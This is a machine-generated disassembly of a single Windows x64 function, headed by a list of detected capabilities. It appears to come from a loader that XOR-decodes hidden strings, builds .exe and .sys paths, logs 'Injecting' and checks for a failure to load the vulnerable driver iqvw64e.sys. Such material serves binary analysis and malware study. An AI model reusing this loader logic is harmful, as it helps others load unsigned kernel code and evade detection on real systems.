Function at 0x14003ef60
Capabilities:
Create directory
Delete registry value
Encode data using xor
Execute command
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x46b8]
mov eax, 0x47b8
call fcn.140049920
sub rsp, rax
movaps xmmword [rsp + 0x47a0], xmm6
movaps xmmword [rsp + 0x4790], xmm7
movaps xmmword [rsp + 0x4780], xmm8
movaps xmmword [rsp + 0x4770], xmm9
xor r12d, r12d
lea r9, str.Injecting_
mov esi, 4
mov r8d, 0x1388
mov edx, esi
lea rcx, [rbp + 0x650]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x14003eff9
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
jmp 0x14003f008
lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400486a0
lea rcx, [rbp + 0x2b8]
call fcn.14003d0a0
nop
mov edx, 0x14
mov ecx, esi
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp + 0x258]
call fcn.14003cfc0
mov rbx, rax
lea r14, [rbp + 0x2b8]
cmp qword [rbp + 0x2d0], 0x10
cmovae r14, qword [rbp + 0x2b8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
mov rdi, qword [rbp + 0x2c8]
cmp rdi, rax
ja 0x14003f0d8
lea rax, [rdi + r8]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0x10
jb 0x14003f077
mov rsi, qword [rbx]
lea r12, [rdi + r14]
cmp r12, rsi
jbe 0x14003f09b
lea rax, [rsi + r8]
cmp r14, rax
ja 0x14003f09b
cmp rsi, r14
ja 0x14003f093
xor r15d, r15d
jmp 0x14003f09e
mov r15, rsi
sub r15, r14
jmp 0x14003f09e
mov r15, rdi
inc r8
lea rcx, [rdi + rsi]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
sub rdi, r15
lea rdx, [r15 + r12]
lea rcx, [rsi + r15]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
xor r12d, r12d
lea esi, [r12 + 4]
jmp 0x14003f0f0
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r14
mov rdx, rdi
mov rcx, rbx
call fcn.1400488e0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x270]
cmp rdx, 0x10
jb 0x14003f161
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f15c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f15c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x268], xmm0
mov byte [rbp + 0x258], 0
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x30]
add r8, rdx
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x298]
call fcn.1400473b0
nop
lea rcx, [rbp + 0x298]
cmp qword [rbp + 0x2b0], 8
cmovae rcx, qword [rbp + 0x298]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14003f404
movups xmm0, xmmword [0x1401708a8]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1401708b8]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x1401708c8]
movups xmmword [rbp + 0x60], xmm0
mov eax, dword [0x1401708d8]
mov dword [rbp + 0x70], eax
movzx eax, byte [0x1401708dc]
mov byte [rbp + 0x74], al
mov r8d, r12d
cmp dword [0x14017a008], 2
jl 0x14003f357
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, esi
movdqa xmm7, xmmword [str.1111]
mov esi, 0x1f
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x44]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14003f250
cmp r8d, 0x35
jge 0x14003f3a0
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x14003f370
lea r9, [rbp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x14003f3f0
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
jmp 0x140043593
lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400486a0
jmp 0x140043593
mov edx, 8
lea ecx, [rdx - 5]
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp + 0x1b8]
call fcn.14003cfc0
mov rdi, rax
movabs rbx, 0x7fffffffffffffff
mov rcx, rbx
mov rdx, qword [rbp - 0x30]
sub rcx, rdx
cmp rcx, 1
jb 0x1400436b9
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r9, qword [rbp - 0x40]
mov qword [rsp + 0x30], 1
lea r14, [0x14016f998]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x20]
call fcn.140048220
nop
mov r9, rdi
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x3d8]
call fcn.140048020
nop
mov r8, rsi
lea rdx, str..exe
lea rcx, [rbp + 0x3d8]
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x3f0]
cmp rdx, 0x10
jb 0x14003f50d
inc rdx
mov rcx, qword [rbp + 0x3d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f508
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f508
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x3e8], xmm0
mov byte [rbp + 0x3d8], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14003f563
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f55d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f55d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0x10
jb 0x14003f5a7
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f5a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f5a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x1c8], xmm0
mov byte [rbp + 0x1b8], 0
mov edx, 0xb
lea ecx, [rdx - 5]
call fcn.14003ede0
mov edx, eax
lea rcx, [rbp + 0x2d8]
call fcn.14003cfc0
mov rdi, rax
mov rcx, rbx
mov rdx, qword [rbp - 0x30]
sub rcx, rdx
cmp rcx, 1
jb 0x1400436bf
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r9, qword [rbp - 0x40]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rdx
lea rcx, [rbp - 0x20]
call fcn.140048220
nop
mov r9, rdi
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x3b8]
call fcn.140048020
nop
mov edi, 4
mov r8d, edi
lea rdx, str..sys
lea rcx, [rbp + 0x3b8]
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x3d0]
cmp rdx, 0x10
jb 0x14003f6bb
inc rdx
mov rcx, qword [rbp + 0x3b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f6b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f6b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov byte [rbp + 0x3b8], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14003f711
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f70b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f70b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x14003f755
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f750
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f750
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x2e8], xmm0
movups xmm0, xmmword [str.QNOL_a]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x140170ab0]
movups xmm1, xmmword [0x140170aa0]
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x50], xmm1
movzx eax, word [0x140170ae0]
movups xmm0, xmmword [0x140170ad0]
movups xmm1, xmmword [0x140170ac0]
mov word [rbp + 0x90], ax
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x70], xmm1
mov byte [rbp + 0x2d8], 0
mov r8d, r12d
mov esi, 0x1f
mov r14d, dword [0x14017a008]
cmp r14d, 2
jl 0x14003f8f1
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm9, xmmword [0x140170d30]
lea rcx, [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x14003f800
cmp r8d, 0x29
jge 0x14003f934
movsxd rax, r8d
lea r9, [rbp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x14003f900
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.14003d280
test al, al
je 0x1400432bc
movups xmm0, xmmword [0x1401709d0]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1401709e0]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x1401709f0]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x140170a00]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [0x140170a10]
movups xmmword [rbp + 0x80], xmm0
cmp r14d, 2
jl 0x14003faa9
movdqa xmm5, xmmword [0x140170cd0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm9, xmmword [0x140170d30]
lea rcx, [rbp + 0x40]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x28
jl 0x14003f9c0
jmp 0x14003fae4
lea r9, [rbp + 0x40]
mov r8d, r12d
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x28
jl 0x14003fab0
lea rdx, [rbp]
lea rcx, [rbp + 0x40]
call fcn.14003d280
test al, al
je 0x1400432bc
mov rcx, qword [rbp + 0x30]
sub rbx, rcx
cmp rbx, 1
jb 0x1400436b3
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rax, qword [rbp + 0x20]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
lea r9, [0x14016fa14]
lea rcx, [rbp + 0x398]
call fcn.140048220
nop
mov r8d, 3
lea rdx, [0x14016fa18]
lea rcx, [rbp + 0x398]
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x208], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x208], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
lea rcx, [rbp + 0x1f8]
call fcn.140046e40
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x14016fa14]
lea rcx, [rbp - 0x60]
call fcn.140046e40
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14003fc4e
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fc49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003fc49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14003fca3
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fc9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003fc9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x208], xmm0
mov byte [rbp + 0x1f8], 0
mov rdx, qword [rbp + 0x3b0]
cmp rdx, 0x10
jb 0x14003fcfe
inc rdx
mov rcx, qword [rbp + 0x398]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fcf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003fcf9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x3a8], xmm0
mov byte [rbp + 0x398], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
add r8, rdx
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x338]
call fcn.1400473b0
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x30]
add r8, rdx
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x438]
call fcn.1400473b0
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
add r8, rdx
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
lea rcx, [rbp + 0x418]
call fcn.1400473b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x318], xmm0
movdqa xmm1, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x328], xmm1
mov byte [rbp + 0x318], 0
lea rdx, [rbp + 0x438]
cmp qword [rbp + 0x450], 8
cmovae rdx, qword [rbp + 0x438]
lea rcx, [rbp + 0x258]
call fcn.140046750
nop
lea rdx, [rbp + 0x418]
cmp qword [rbp + 0x430], 8
cmovae rdx, qword [rbp + 0x418]
lea rcx, [rbp + 0x1b8]
call fcn.140046750
nop
lea rdx, [rbp + 0x338]
cmp qword [rbp + 0x350], 8
cmovae rdx, qword [rbp + 0x338]
lea rcx, [rbp - 0x20]
call fcn.140046750
nop
lea r9, [rbp + 0x318]
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp - 0x20]
call fcn.14003e390
nop
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x14003fe92
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fe8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003fe8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 8
jb 0x14003fedc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fed6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003fed6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x270]
cmp rdx, 8
jb 0x14003ff25
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ff20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ff20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
lea rcx, [rbp + 0x318]
mov r15, qword [rbp + 0x318]
mov r13, qword [rbp + 0x330]
cmp r13, 0x10
cmovae rcx, r15
lea rdx, str.____Failed_to_load_driver_iqvw64e.sys
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140040197
movups xmm0, xmmword [0x140170a20]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x140170a30]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140170a40]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x140170a50]
mov word [rsp + 0x70], ax
mov r8d, r12d
cmp r14d, 2
jl 0x1400400d7
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14003ffd0
cmp r8d, 0x32
jge 0x140040120
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400400f0
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x14004017a
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
lea rcx, [rbp - 0x40]
call fcn.14003d570
jmp 0x14004315c
